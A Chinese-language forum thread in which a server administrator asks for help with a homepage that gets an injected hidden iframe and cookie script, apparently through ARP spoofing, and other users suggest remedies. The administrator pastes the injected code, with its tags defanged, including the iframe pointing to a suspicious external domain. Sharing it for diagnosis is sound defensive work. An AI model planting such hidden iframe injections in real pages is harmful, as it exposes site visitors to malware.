[求助]服务器首页被挂马

moke176

服务器放在网通机房，首页被挂马，而且每次都是只有首页（index.htm）有。在网页的最下部加入个iframe，一个js脚本，但是源文件并没有被修改，网上查了很多资料，但是都与我的现象不太相同，感觉像是arp挂马，装了arp防火墙也没用，访问其他在一个机房的服务器也没事，本机杀了半天也没有问题。
头大了，希望各位高手指点一下小弟，谢谢了。

我爱服安

查查服务器日志，看是否除ARP以外的其它方式挂的马!

小胖子

和机房工作人员沟通一下，双绑一下看看。

moke176

<*body>
<*iframe src="http://786ts.qqsafe-qqservicesyydswfhuw8ysjftwf.org" height=50 width=0></iframe>
<*script language="javascript">
var expires = new Date();expires.setTime(expires.getTime() + 7*24*60*60*1000);document.cookie="vovo=123456test;expires="+expires.toGMTString();
<*/script>
<*/body>

=============
这是加的内容，从网上搜了搜，基本确定就是arp了，最近很泛滥的样子。

beijingfix

index.htm这个文件是否需要经常更新，如果不是，设置成只读权限试一试？